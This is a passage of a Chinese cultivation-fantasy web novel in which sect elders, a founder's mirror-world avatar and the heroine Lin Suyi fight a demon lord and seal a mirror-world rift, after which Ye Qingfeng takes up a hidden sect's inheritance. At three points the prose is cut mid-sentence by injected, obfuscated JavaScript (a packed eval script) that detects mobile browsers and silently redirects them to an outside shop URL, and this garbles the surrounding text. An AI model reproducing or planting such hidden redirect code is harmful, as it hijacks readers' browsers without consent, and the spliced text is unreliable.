花墙炸裂,花瓣如雨纷飞。黑光被削弱了三成,但余威不减,继续刺向阵基。 “青玄剑气,斩!”萧长风率领十二名剑修弟子同时出剑。十二道剑光合而为一,化作一道青色长虹,与黑光正面碰撞。 刺耳的尖啸声撕裂空气,青色与黑色在天空中僵持不下。 但仅仅三息后,黑光就压制了剑光,继续下落! “元婴与化神的差距……太大了。”炎阳真人咬牙,双掌拍出两道赤红真火。真火如龙,缠绕黑光,终于将其彻底焚灭。 但所有人都知道,这只是一只魔眼的随手一击。 “不错。”魔尊的声音中带着赞许,“能挡住本尊一成之力的一击,你们比三千年前那些废物强一点。” “不过……热身结束了。” 三十六只魔眼同时光芒大盛! 这一次,不是一道黑光,而是三十六道!每一道都蕴含着足以秒杀元婴初期的恐怖力量,从不同角度、不同方位,覆盖式地轰向净世诛魔大阵! “全阵防御!”素青真人厉喝。 三十六泉眼大阵全力运转,天池水面升起三十六道水柱,水柱在空中交织成一张巨大的水网。每道水柱中都蕴含着纯净的水系灵力,与净尘镜的光芒共鸣,形成蓝金色的防御屏障。 轰!轰!轰!轰! 三十六道黑光几乎同时击中屏障。 爆炸的光芒让整个青玄山脉亮如白昼。冲击波如海啸般扩散,所过之处山石崩裂,树木化为齑粉。若非大阵护持,光是余波就足以将天池周围十里夷为平地。 屏障剧烈震颤,出现无数裂痕,但终究没有破碎。 而主持阵法的众人,除了林素衣和几个元婴修士,其余金丹期的弟子全都口喷鲜血,气息萎靡。 “第二波要来了!”云华真人大喊。 果然,魔眼再次亮起。 这一次,三十六道黑光合而为一,化作一道直径十丈的漆黑光柱,如天罚般砸落! “挡不住!”玄诚子脸色惨白,“这一击的力量已经超越化神初期了!” 林素衣咬破舌尖,一口精血喷在净尘镜上。 “净世之光,起!” 镜面爆发出前所未有的七彩光芒,光芒冲天而起,与漆黑光柱正面碰撞。 没有爆炸。 两股力量在空中僵持,互相侵蚀、消融。净世之光不断净化黑光中的魔气,但黑光实在太过庞大,如潮水般源源不断。 林素衣感到体内的灵力如决堤般流失,源海珠疯狂运转,却依然供不应求。她知道,这样下去,最多三十息,自己就会油尽灯枯。 而魔尊……似乎还游刃有余。 “叶师兄!”她嘶声喊道。 叶清风早已准备就绪。他手持青玄分光剑,剑尖指向天空,体内剑意与剑气同时爆发。 “青玄分光剑,斩因果!” 这是剑灵传授的终极剑式——不是斩敌人,而是斩断敌人与力量来源的联系! 剑光没有斩向黑光,而是斩向黑光与三十六只魔眼之间的“因果线”。 那些线肉眼不可见,但在青玄分光剑的感知中,它们如蛛网般密布天空,连接着魔尊的意识与三十六处魔眼。 一剑斩下! 天空仿佛被切开一道口子,三十六只魔眼同时震颤,射出的黑光出现了刹那的紊乱。 就是现在! 林素衣将全部灵力注入净尘镜:“净世之光,净化一切!” 七彩光芒暴涨,趁黑光紊乱的瞬间,将其彻底吞噬、净化。 漆黑光柱消散。 天空恢复了短暂的清明。 但所有人都知道,这只是喘息之机。 “好剑。”魔尊的声音再次响起,这次带着一丝惊讶,“竟能斩断本尊与魔眼的联系……虽然只有一瞬,但已经值得夸奖。” “不过,你们还能斩几次?” 话音落下,三十六只魔眼再次亮起——而且光芒比之前更盛! 叶清风单膝跪地,大口喘气。刚才那一剑,几乎抽干了他所有的剑意和灵力,短时间内无法再出第二剑。 林素衣也到了极限,握着净尘镜的手在颤抖。 “难道……真的不行吗?”花无暇喃喃道。 就在绝望的气氛开始蔓延时—— 天池底下,传来了震动。 不是地震,而是某种更深远、更古老的震动。仿佛有什么沉睡了万年的存在,正在缓缓苏醒。 三十六泉眼大阵突然自行运转起来,而且运转的方式完全超出了素青真人的控制。泉水不再仅仅是升起水柱,而是开始旋转,形成一个巨大的漩涡。 漩涡中心,一道蓝金色的光芒从池底射出,直冲云霄! 那光芒的气息……与源海珠同源,但更加古老、更加浩瀚! “这是……”林素衣感应着源海珠的异常共鸣,忽然明白了,“清虚祖师真正的后手!” 光芒在空中凝聚,化作一个老者的虚影。 老者鹤发童颜,道袍飘飘,手持拂尘,眼神温和却蕴含着洞悉一切的智慧。 “清虚祖师!”素青真人激动得浑身颤抖。 不只是净尘宗的人,连青玄门、百花谷、天剑宗等所有正道修士,都认出了这位三千年前飞升的传奇人物——虽然只是虚影,但那气息不会错。 “三千年了。”清虚祖师的虚影仰头看向天空中的魔眼,“冰火,你还是这么心急。” 魔尊沉默了许久,才缓缓开口:“清虚……你竟然还留了一手。” “总要防着你狗急跳墙。”清虚祖师的虚影微笑,“你以为当年我封印你时,真的只靠源海珠和三十六泉眼?” 他指向天池:“这整个天池,本就是一座天然形成的‘天地净化大阵’。我只是借用了它的力量,再以源海珠为阵眼,将你封印。” “而我的这道分神,就沉睡在天池最深处,与阵眼相连。只有当源海珠的宿主面临生死危机,且天池大阵被激发到极致时,我才会苏醒。” 他看向林素衣,眼中闪过欣慰:“孩子,你做得很好。净尘镜已经完整,青玄分光剑也已出世,再加上我这道分神……今日,或许真能将这老魔彻底镇压。” “彻底镇压?”魔尊冷笑,“清虚,你活着时都做不到,一道分神就想翻天?” “试试便知。” 清虚祖师的虚影双手合十,天池漩涡加速旋转。从漩涡中,飞出了三十六枚蓝金色的符印——正是当年封印魔尊时用的“净魔天符”! 这些符印在空中排列成一个玄奥的阵法,与三十六只魔眼一一对应。 “三千年前,我用此阵封你。”清虚祖师道,“三千年后,我再封你一次。” “净魔天阵,起!” 三十六枚符印同时发光,化作三十六条锁链,射向空中的魔眼。 魔眼射出黑光抵抗,但这一次,黑光在接近锁链时就被净化。符印中蕴含着清虚祖师全盛时期的力量,虽然只是一道分神,但借助天池大阵的加持,威能不可同日而语。 “你以为这样就能赢?”魔尊的声音中第一次出现了怒意,“本尊这三千年来,可不是白过的!” 三十六只魔眼突然同时炸裂! 不是被符印击破,而是主动炸裂! 炸裂的魔眼化作漫天黑雨,每一滴雨水中都蕴含着恐怖的魔气。黑雨落在净世诛魔大阵的屏障上,发出“滋滋”的腐蚀声,屏障以肉眼可见的速度变薄。 “他在燃烧魔眼的本源!”玄诚子惊呼,“这是要拼命了!” 清虚祖师的虚影也凝重起来:“冰火,你疯了?燃烧魔眼本源,就算赢了,你也要元气大伤,至少千年无法恢复!” “那又如何?”魔尊的声音从四面八方传来,“只要能拿到源海珠,脱困而出,千年时光不过弹指一瞬!” 黑雨越来越密,屏障已经薄如蝉翼。 更要命的是,燃烧本源的魔眼,释放出的魔气中,开始夹杂着一缕缕冰蓝色的火焰和赤红的岩浆——那是冰火魔尊的两种本源之力! 冰火交织,威力倍增。 屏障终于破碎! 黑雨如瀑布般倾泻而下,直扑阵眼处的林素衣! “保护阵眼!”炎阳真人和花无暇同时出手,纯阳真火与百花屏障挡在林素衣身前。 但冰火之力实在太过恐怖,真火被冰焰冻结,百花被岩浆焚毁。 眼看黑雨就要淹没林素衣—— 一道身影突然挡在了她身前。 是叶清风。 他没有用剑,而是张开双臂,用身体挡下了大部分黑雨。 “叶师兄!”林素衣惊叫。 黑雨落在叶清风身上,发出“滋滋”的腐蚀声。他的皮肤迅速变黑、溃烂,冰焰冻结了他的左半身,岩浆烧穿了他的右半身。 但他没有倒下。 因为他的腰间,那枚同心佩正散发着柔和的白光。白光护住了他的心脉和识海,让他在承受如此恐怖的攻击后,依然保持着一丝清明。 “师……妹……”叶清风艰难开口,“快……阵法……还没完……” 林素衣瞬间明白了。 清虚祖师的净魔天阵,还没有完全成型!那些锁链虽然困住了魔眼炸裂后的黑雨,但还没有触及魔尊意识的核心! 她看向清虚祖师的虚影,发现老者的身影正在变淡——这道分神的力量,也快到极限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶清风跪倒在地,伸出颤抖的手,接住了那两样东西。 “师……妹……” 没有回应。 魔尊的气息,也消失了。 但清虚祖师的虚影,却没有放松警惕。他盯着天空某处,眉头紧锁。 “不对劲……” “冰火那老魔,怎么可能这么容易就被……” 话音未落,异变突生。 天池底下,那个原本应该沉睡的心魔之主封印,突然剧烈震动起来! 而从震动的中心,传来了一个熟悉的笑声—— 魔尊的笑声! “清虚,你以为本尊的目标,真的是源海珠吗?” “错了。” “本尊要的,一直是……心魔之主啊!” 封印炸裂! 一道黑红交织的光柱冲天而起,光柱中,隐约可见两个身影正在融合—— 一个是魔尊的虚影。 另一个,是心魔之主的本体! 原来,魔尊从一开始就知道,单凭自己一道意识降临,不可能在清虚祖师的分神和净世诛魔大阵面前讨到便宜。 所以他设了一个局。 先用魔眼强攻,逼出清虚祖师的分神,再燃烧魔眼本源,制造绝境,迫使林素衣献祭自己,与魔尊的意识同归于尽。 而这一切,都是为了一个目的—— 让心魔之主的封印,因为失去净尘镜的镇压而松动! 魔尊的真正计划,是与心魔之主融合,取回自己当年分离出去的另一半力量! “现在,完整的我……回来了。” 黑红光柱中,一个新的身影缓缓走出。 那是一个身穿黑红帝袍的男子,左眼燃烧着冰蓝火焰,右眼是纯粹的黑暗——那是心魔之力的象征。 他的气息,已经超越了化神,达到了一个众人无法理解的层次。 “这方天地,该换主人了。” 魔尊——或者说,完整的上古魔尊——俯视着下方绝望的众人,微微一笑。 而就在这时,叶清风手中的同心佩,突然炸裂。 从炸裂的光点中,浮现出一个女子的虚影。 不是明心长老。 而是一个更加古老、更加威严的女子—— 净尘仙子! “三万年的布局,终于等到了这一刻。”净尘仙子的虚影看向空中的完整魔尊,眼中无悲无喜。 “你以为,你真的赢了吗?” 她指向天池:“你看清楚,那下面……到底是什么。” 魔尊低头看去,脸色第一次变了。 天池底部,封印炸裂后的废墟中,不是空无一物。 而是…… 一面更大的镜子。 一面覆盖了整个湖底的、无边无际的镜子。 镜中,映照出的不是天空,不是大地。 而是……另一个世界。 一个与这个世界完全相反,却又紧密相连的世界。 “这是……”魔尊瞳孔收缩。 “镜像世界。”净尘仙子平静道,“三万年前我镇压你时,就预见到了今天。所以我留下的,不是一道封印。” “而是一座……通往镜像世界的门。” “现在,门开了。” “而门的那一边,有人在等你。” 镜面泛起涟漪。 一只脚,从镜中踏出。 42. 镜像世界与时空来客 那只脚从镜中踏出的瞬间,整个世界的时间仿佛凝固了。 那是一只穿着青色云纹道靴的脚,靴面上绣着熟悉的青玄门标志。接着是道袍的下摆,绣着云海翻腾的图案。再然后,整个人从镜中走出—— 当看到那人的面容时,所有人都呆住了。 包括刚刚完成融合、气势滔天的完整魔尊。 因为从镜中走出的,是另一个“清虚祖师”。 但和之前那道即将消散的分神不同,这个清虚祖师……是完整的。 他有着实质的肉身,呼吸间引动天地灵气流转,眼神深邃如星空,周身散发着超越化神、甚至超越魔尊的浩瀚气息。那是一种已经触摸到“仙”之境界的威压,仅仅站在那里,就让整个空间的法则开始紊乱。 “不可能……”魔尊——现在该称他为“完整魔尊”——瞳孔剧烈收缩,“清虚,你明明已经飞升上界!这是下界,天道法则不允许真仙降临!” “这不是真身。”镜中走出的清虚祖师缓缓开口,声音温和却蕴含着不容置疑的威严,“这是我留在镜像世界的‘道身’,以镜像法则为基,可短暂避过天道监察。” 他环视四周,目光在叶清风手中的源海珠和净尘镜上停留片刻,眼中闪过一丝悲悯,随即看向空中的完整魔尊。 “冰火,三千年了,你还是执迷不悟。” “执迷不悟?”完整魔尊冷笑,“清虚,你我都知道,所谓正道魔道,不过是修行方式不同。你们追求太上忘情,我们遵从本心欲望,谁更高明?” “本心欲望?”清虚祖师摇头,“你的欲望,是吞噬这方世界,以亿万生灵为食粮。这样的道,不该存在。” “那便战吧!”完整魔尊厉喝,“让我看看,你这具道身,有几成本体的实力!” 他双手一合,冰火两种本源之力在掌心汇聚,化作一柄黑红相间的长枪。长枪一出,天地色变,虚空都开始扭曲崩裂。 这一击,已经超越了化神期的范畴,触摸到了“炼虚”的边缘! 清虚祖师却只是轻轻抬手。 没有华丽的法术,没有惊天动地的气势,他只是对着那柄长枪,虚空一握。 咔嚓—— 长枪停在半空,然后从枪尖开始,寸寸碎裂。不是被外力击碎,而是仿佛它本就该碎,时间到了,自然就碎了。 “言出法随……你触摸到了那个境界?!”完整魔尊脸色大变。 “镜像世界中三千年,本体在上界又三千年。”清虚祖师平静道,“六千年的参悟,若还摸不到‘法则’的门槛,我也枉称清虚了。” 他向前踏出一步。 仅仅一步,完整魔尊就如遭重击,后退三步,嘴角渗出一缕黑血。 “你……”完整魔尊眼中终于出现了一丝恐惧,“你想干什么?” “完成三千年前未完成的事。”清虚祖师抬手,指向天池,“当年我只封印了你,是因为心魔之主已被净尘仙子镇压。如今你二人融合,正好……一并解决。” 他双手开始结印。 随着印诀变化,整个镜像世界的镜面都开始发光。光芒透过湖底的巨大镜面,投射到这个世界的天空,在空中交织成一个无比复杂的阵法。 那阵法的纹路,众人从未见过,但光是看一眼,就感到头晕目眩,仿佛在看天书。 “万镜归一阵……”净尘仙子的虚影轻声道,“他竟真的参悟出来了。” “前辈,这是什么阵法?”叶清风勉强问道,他怀中抱着源海珠和净尘镜,身体依然在承受冰火之力的侵蚀。 “以镜像世界为基,以万镜为眼,可逆转时空,重塑因果。”净尘仙子解释,“简单说,他想把魔尊和心魔之主……‘还原’到分离前的状态,然后分别镇压。” “能做到吗?” “代价很大。”净尘仙子看向清虚祖师的道身,“这具道身会彻底消散,镜像世界也可能崩塌。而且……需要一件至关重要的媒介。” “什么媒介?” 净尘仙子没有回答,而是看向叶清风怀中的源海珠。 叶清风心中一震。 而天空中的战斗,已经进入了白热化。 完整魔尊知道自己不是清虚祖师的对手,开始拼命。他燃烧本源,冰火之力化作无数分身,从四面八方围攻清虚祖师。 但清虚祖师如闲庭信步,每一步踏出,都踩在阵法的节点上。那些分身还未靠近,就被阵法之力绞碎。 “没用的。”清虚祖师摇头,“在万镜归一阵中,你的所有攻击,都会被镜像复制,然后返还给你自己。” 果然,那些被绞碎的分身化作光点,重新凝聚,反而扑向了完整魔尊本体! “吼——!” 完整魔尊发出愤怒的咆哮,他知道自己已经落入绝境。 但他还有最后一招。 “清虚,你以为你赢定了?”他忽然笑了,笑容诡异,“你可知,我为何要选择今日降临?” 清虚祖师眉头微皱。 “因为今日,是‘天机紊乱’之日。”完整魔尊狂笑,“三千年前你封印我时,选的是‘天机清明’之日,阵法威力最大。而今日,天机紊乱,时空脆弱……” 他猛地看向湖底的巨大镜面: “正是打通两个世界的最佳时机!” 话音未落,完整魔尊突然舍弃所有防御,整个人化作一道黑红光芒,不是攻向清虚祖师,而是……撞向湖底的镜面! 他想强行冲入镜像世界! “不好!”清虚祖师脸色一变,立刻出手阻拦。 但已经晚了半步。 黑红光芒撞在镜面上的刹那,完整魔尊嘶声喊道: “镜像世界的我——若你听到,便回应我!我们本是一体,合则两利,分则两伤!助我脱困,我许你半壁江山!” 镜面剧烈震动。 然后,从镜面的另一端,传来了回应。 不是声音,而是一种共鸣——一种同源而出的、却更加古老、更加深邃的共鸣。 镜像世界,也有魔尊! 而且那个魔尊,似乎……更强大! “该死!”清虚祖师终于色变,“我早该想到,既然有镜像世界,自然有镜像魔尊!” 镜面开始出现裂痕。 不是被撞裂,而是从内部裂开。仿佛有什么东西,正试图从镜像世界那边,打破界限,降临此界! “阻止他!”净尘仙子的虚影急道,“若两个魔尊汇合,力量会呈几何倍数增长,届时就算你真仙降临,也未必能镇压!” 清虚祖师不再犹豫,双手一合,万镜归一阵全力运转。 无数镜光从四面八方射来,交织成一张光网,将完整魔尊所化的黑红光芒牢牢锁住。 “想封印我?”完整魔尊狂笑,“那就一起死吧!” 他不再抵抗封印,反而主动将全部力量注入镜面裂缝,加速裂缝的扩张! “他在献祭自己,为镜像魔尊打开通道!”玄诚子看出了端倪。 镜面裂缝已经扩张到三丈宽,透过裂缝,可以看到另一边的景象—— 那是一个颠倒的世界:天在下,地在上,山脉倒悬,江河逆流。而在那个世界的中央,一个与完整魔尊有七分相似,但更加狰狞、更加庞大的身影,正缓缓站起。 那个身影,也有一双冰火魔眼。 但它有六只手臂,每只手臂都握着不同的兵器:冰剑、火刀、魔枪、鬼幡…… 镜像魔尊! 它看向裂缝这边,眼中闪过贪婪的光。 “终于……打通了。” 它开口,声音如万鬼哭嚎,震得众人耳膜流血。 一只覆盖着黑色鳞片的手臂,从裂缝中伸出,抓向此界! “拦住它!”清虚祖师厉喝,分出一半阵法之力,化作光刃斩向那只手臂。 光刃斩在手臂上,溅起无数火星,却只留下浅浅的白痕。 “好强的防御!”素青真人倒吸凉气。 镜像魔尊狞笑:“清虚,你的道身只有本体三成实力,拦不住我。” 它的手臂继续伸出,已经露出了肩膀。 而这时,完整魔尊所化的黑红光芒,已经快要被万镜归一阵彻底封印。但他却在笑: “值了……值了!镜像的我,替我报仇!杀光他们!尤其是净尘的传人!” 他最后看了一眼叶清风怀中的源海珠,眼中闪过怨毒,然后彻底被阵法吞没。 完整魔尊,被封印了。 但更大的危机,降临了。 镜像魔尊的半边身子,已经从裂缝中挤了出来! 清虚祖师的道身开始变得透明——同时维持万镜归一阵和对抗镜像魔尊,消耗太大了。 “我撑不了多久。”他看向净尘仙子,“仙子,可有后手?” 净尘仙子的虚影沉默片刻,缓缓道:“有,但需要牺牲。” “说。” “以源海珠为引,以净尘镜为基,以净尘血脉为祭,可暂时封闭镜像通道。”净尘仙子看向叶清风,“但施法者……会与通道一同被封印,永堕镜像夹缝。” 叶清风握紧了源海珠。 “我去。”他说。 “不,我去。”一个虚弱的声音响起。 众人回头,只见林素衣——或者说,林素衣残存的意识——正从源海珠中浮现。她透明如烟,仿佛一阵风就能吹散,但眼神依然坚定。 “师妹!”叶清风急道,“你还没死?!” “算是……还没死透。”林素衣的虚影苦笑,“源海珠保住了我一缕残魂。但撑不了多久。” 她看向裂缝中越来越清晰的镜像魔尊: “这是我的责任。源海珠是我融合的,净尘镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980552|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我激活的,净尘血脉在我身上。该我去。” “可是……” “没有可是。”林素衣的虚影飘向裂缝,“叶师兄,玄诚师伯,还有大家……谢谢你们陪我走到这里。” 她转身,对清虚祖师一礼:“祖师,请助我一臂之力。” 清虚祖师深深看了她一眼,点头:“好孩子。” 他抬手,最后的力量注入林素衣的残魂。 林素衣的虚影开始凝实,散发出蓝金色的光芒。她双手托起源海珠和净尘镜,两件宝物与她产生共鸣,三者的光芒融为一体。 “以我之魂,封此界门。” “净尘不灭,魔道不兴。” 她纵身跃入裂缝! “不——!”叶清风嘶吼,想冲过去,却被玄诚子死死拉住。 裂缝中,爆发出刺目的光芒。 镜像魔尊发出愤怒的咆哮:“区区残魂,也想封我?!” 它六只手臂同时轰向林素衣! 但林素衣不闪不避,任由攻击落在身上。她的残魂在攻击下迅速黯淡,却依然坚定地向前,将源海珠按在裂缝中央。 “封!” 蓝金色光芒爆发,如潮水般淹没裂缝。 镜像魔尊的手臂开始被推回,裂缝开始缩小。 “你封不住我的!”镜像魔尊厉喝,“我有整个镜像世界为后盾,你有什……” 它的声音戛然而止。 因为从镜像世界的另一端,突然射来一道剑光。 那剑光纯净如琉璃,却蕴含着斩断一切的锋芒。一剑,斩在了镜像魔尊的后背! “啊——!”镜像魔尊惨叫,气息骤降。 透过即将闭合的裂缝,众人隐约看到,镜像世界的天空中,悬浮着一个白衣女子的身影。 那女子手持长剑,面容模糊,但周身散发的气息……与净尘仙子同源! “那是……”净尘仙子的虚影怔住了,“我的……镜像?” 裂缝彻底闭合。 镜像通道被封住了。 林素衣的残魂,也随之消失。 天空恢复平静,阳光再次洒落。 但天池边,一片死寂。 叶清风跪在地上,抱着源海珠和净尘镜——两件宝物都已黯淡无光,仿佛失去了灵魂。 玄诚子扶着他,眼中满是悲痛。 清虚祖师的道身已经透明到几乎看不见,他看向众人,轻声道: “危机暂时解除了,但只是暂时。镜像通道虽然被封,但两个世界的联系已经建立。迟早有一天,还会再开。” “那怎么办?”花无暇问。 “提升实力,做好准备。”清虚祖师道,“另外……林素衣的残魂并未完全消散。她的意识,有一部分被困在了镜像夹缝中。” 叶清风猛地抬头:“她还活着?” “不算活着,但也不算死。”清虚祖师看向源海珠,“她的意识与源海珠还有微弱的联系。若有朝一日,你们能找到‘魂归之法’,或许能将她唤回。” “魂归之法在哪?”叶清风急问。 “我不知道。”清虚祖师摇头,“但我知道有一个人可能知道——” 他看向净尘仙子的虚影。 净尘仙子沉默良久,才缓缓道: “魂归之法,在‘净尘祖地’。那是净尘宗真正的起源之地,三万年前,我从那里走出。” “但祖地的入口,早已失传。我只记得……它在一个‘镜中镜,界中界’的地方。” 她顿了顿: “而那个地方的线索,可能在一个人身上。” “谁?”众人齐声问。 净尘仙子看向叶清风: “你。” 叶清风愣住:“我?” “你腰间的同心佩,是明心留下的。”净尘仙子道,“而明心,是最后一位进入过净尘祖地的净尘弟子。她将部分记忆,封在了那枚玉佩里。” “可是玉佩已经炸裂了……”叶清风看向地上残留的碎片。 “炸裂了,但记忆还在。”净尘仙子抬手,碎片飞起,在她掌心重新拼合——虽然布满裂痕,但勉强成形。 她将玉佩按在叶清风额头: “现在,我帮你唤醒那份记忆。” 白光涌入。 叶清风的意识,被拖入了一个陌生的场景—— 那是一片无边无际的镜湖,湖面如镜,倒映着星空。而在湖心,有一座小岛,岛上只有一面镜子。 镜中,映照出的不是他,而是一个古老的祭坛。 祭坛中央,悬浮着一枚……金色的眼睛。 眼睛睁开,看向他。 一个苍老的声音,直接在他灵魂深处响起: “三万年后,终于有人来了。” “净尘的传人,你准备好……接受真正的传承了吗?” 43. 净尘祖地与时空之眼 镜湖、星空、祭坛、金色的眼睛。 叶清风的意识被困在这个奇异的空间里,无法动弹,只能“看”着那枚悬浮在祭坛中央的金色眼睛。那眼睛没有瞳孔,却仿佛蕴含着整个宇宙的奥秘,光是直视,就感到灵魂都要被吸进去。 “你是谁?”他在意识中问道。 “我是‘时之眼’,净尘祖地的守护者。”苍老的声音回答,“也是净尘仙子留下的最后一道考验。” “考验?” “想进入净尘祖地,获得真正的传承,就必须通过我的考验。”时之眼缓缓转动,“但在此之前,我必须确认一件事——” 金光从眼中射出,将叶清风的意识从头到脚扫描了一遍。 “净尘血脉……微弱,但确实存在。”时之眼的声音中带着讶异,“你并非净尘宗弟子,为何会有净尘血脉?” 叶清风怔住了。 他有净尘血脉? 怎么可能?他是叶家子弟,叶家世代修炼的是剑道,与净尘宗的水系法术毫不相干。 “我……不知道。”他如实回答。 时之眼沉默片刻,金光再次扫描,这一次更加深入,触及到了他灵魂最深处。 “原来如此。”时之眼恍然,“你的母亲,是净尘宗外门弟子。虽然修为不高,但血脉确实传给了你。” 母亲? 叶清风的记忆里,母亲只是一个普通的凡人女子,在他五岁那年就病逝了。父亲从未提过母亲的来历,只说她是从远方嫁过来的。 现在想来,确实有很多疑点:母亲会一些简单的治疗法术,虽然自称是跟游方郎中学的;母亲去世时,身体化作点点蓝光消散,不似凡人…… “我的母亲……”叶清风喃喃道。 “她隐瞒身份,嫁入叶家,想必有不得已的苦衷。”时之眼道,“但现在不是追究这个的时候。既然你有净尘血脉,便有资格接受考验。” 金光大盛,将叶清风完全吞没。 “第一考:问心。” 周围景象突然变化。 叶清风发现自己站在一片废墟中。废墟中央,是叶家祠堂的残骸。火光冲天,族人的尸体横七竖八,而他的大哥叶清云,正被几个魔修围攻,浑身是血。 这是三年前的那一夜。 但与记忆不同的是,这一次,他“在场”。 “大哥!”叶清风想冲过去,却发现自己无法动弹,只能眼睁睁看着。 一个魔修的刀,刺穿了叶清云的胸膛。 “不——!” 叶清风嘶吼,但无济于事。他像是一个旁观者,只能看着悲剧重演。 “问心第一问:若时光倒流,你会怎么做?”时之眼的声音响起。 “我会留下来,与家族共存亡!”叶清风毫不犹豫。 “哪怕明知是死?” “哪怕明知是死。” “好。” 景象变化。 这一次,他站在天池边。林素衣正要跃入裂缝,以自身封印镜像通道。 “问心第二问:若你当时有能力阻止她,你会怎么做?” 叶清风沉默。 他当然会阻止。但…… “我会尝试其他方法。”他缓缓道,“如果实在没有其他方法……我会代替她去。” “为何?” “因为她已经付出够多了。”叶清风眼中闪过痛楚,“她七岁背负源海珠,十岁继承净尘宗,十六岁面对魔尊……她这一生,都在为别人牺牲。该有人……为她牺牲一次了。” 时之眼沉默良久。 “问心第三问:若现在有一个机会,可以救回林素衣,但代价是牺牲你自己,你愿意吗?” “愿意。” “毫不犹豫?” “毫不犹豫。” 金光收敛。 叶清风发现自己回到了镜湖之上,时之眼正静静注视着他。 “三问三答,皆为真心。”时之眼的声音柔和了些,“你通过了问心考。但还有第二考:明道。” “什么是明道?” “告诉我,你为何修行?你的道是什么?” 叶清风怔住了。 他修行,最初是因为家族需要。叶家是剑修世家,子弟必须修行。后来,是为了变强,为了保护家族,为了给大哥报仇。 但这些是“道”吗? 他想起林素衣说过的话:“因为有太多美好的东西,值得守护。” 他想起清虚祖师以身封魔的背影。 他想起净尘仙子独镇心魔三万年的孤寂。 “我修行……”叶清风缓缓开口,“是为了守护。守护我在乎的人,守护这片天地,守护那些美好的、脆弱的、值得为之战斗的东西。” “这就是我的道——守护之道。” 时之眼的光芒闪烁了一下。 “守护之道……很沉重,但也很纯粹。”它轻声道,“你确定吗?守护意味着牺牲,意味着永远站在最前线,意味着可能被误解、被辜负。” “我确定。” “好。” 镜湖突然沸腾起来。 湖面裂开一道口子,露出一条通往地下的阶梯。阶梯两侧,是无数面镜子,镜中映照出净尘宗三万年的历史:从净尘仙子开宗,到鼎盛时期的万仙来朝,再到衰落时的坚守,最后是灭门之夜的惨烈…… 叶清风沿着阶梯走下去。 每走一步,就有一面镜子碎裂,化作光点融入他的身体。光点中承载着净尘宗历代先辈的感悟、经验、甚至是残缺的记忆。 走到阶梯尽头时,他来到了一个巨大的地下宫殿。 宫殿中央,悬浮着一本古朴的书籍——封面用古篆写着四个字:《净尘真经》。 “这是净尘宗最核心的传承,包含了从炼气到飞升的全部功法,以及净尘仙子对‘净化之道’的终极感悟。”时之眼的声音在宫殿中回荡,“但它已经三万年来曾认主。因为它需要的,不仅是净尘血脉,更是一颗纯粹的‘守护之心’。” 书籍缓缓飘到叶清风面前,自动翻开。 第一页,空白。 第二页,浮现出一行字:“道之所在,虽千万人吾往矣。” 第三页,是净尘仙子的画像,她手持净尘镜,眼神悲悯。 叶清风伸手触摸书页。 书页化作流光,涌入他的眉心。 海量的信息在识海中炸开:功法、法术、阵法、炼丹、炼器……还有净尘仙子对天地的理解,对法则的感悟,对“净化”本质的阐述。 他感到自己的修为在疯狂增长,从金丹初期一路飙升到金丹后期、金丹圆满,最后停留在半步元婴的临界点。 同时,他对剑道的理解也发生了质变。 青玄分光剑自动飞出,悬浮在他面前。剑身震颤,发出欢快的剑鸣,仿佛在庆祝主人找到了真正的“道”。 “现在,你已获得《净尘真经》认可。”时之眼道,“但祖地传承,不止于此。” 宫殿四周的墙壁突然透明化,露出墙后的景象—— 那是无数个房间,每个房间里都悬浮着一件宝物:有古剑、有宝鼎、有阵盘、有符箓……琳琅满目,每一件都散发着古老而强大的气息。 “这些是净尘宗三万年积累的底蕴。”时之眼道,“你可以选择三件带走。但记住,宝物有灵,会自己选择主人。” 叶清风走入第一个房间。 房间里悬浮着一柄青色长剑,剑身细长,剑柄处镶嵌着一颗蓝色的宝石——与青玄分光剑有七分相似,但气息更加内敛。 “此剑名‘净尘’,是净尘仙子的本命飞剑,位列仙器。”时之眼介绍,“但它已经三万年未曾出鞘,剑灵沉睡,需要新主人的鲜血唤醒。” 叶清风划破手指,将血滴在剑身上。 剑身震动,蓝色宝石亮起柔和的光芒。一个穿着青色衣裙的小女孩虚影从剑中浮现,揉着眼睛,打了个哈欠。 “睡了好久……咦?新主人?”小女孩好奇地打量叶清风,“你身上的气息……好熟悉,但又不太一样。” “我叫叶清风。” “我是小净,净尘剑的剑灵。”小女孩飘到他面前,“你想做我的主人?可以,但要答应我一个条件。” “什么条件?” “带我出去,找一个人。”小女孩眼中闪过悲伤,“我的前主人……净尘仙子,她的转世之身应该已经出现了。我要找到她。” 叶清风心中一动:“你知道她在哪吗?” “不知道,但你能感觉到。”小女孩指向他的心口,“你的净尘血脉,会指引你。” 叶清风沉默片刻,点头:“好,我答应你。” 净尘剑化作一道青光,没入他的丹田,与青玄分光剑并列悬浮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980553|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >第二个房间,是一个丹炉。 丹炉三足两耳,通体赤红,炉身上刻着凤凰纹路。炉盖紧闭,但从中散发出浓郁的药香,光是闻一下,就感到灵力活跃了不少。 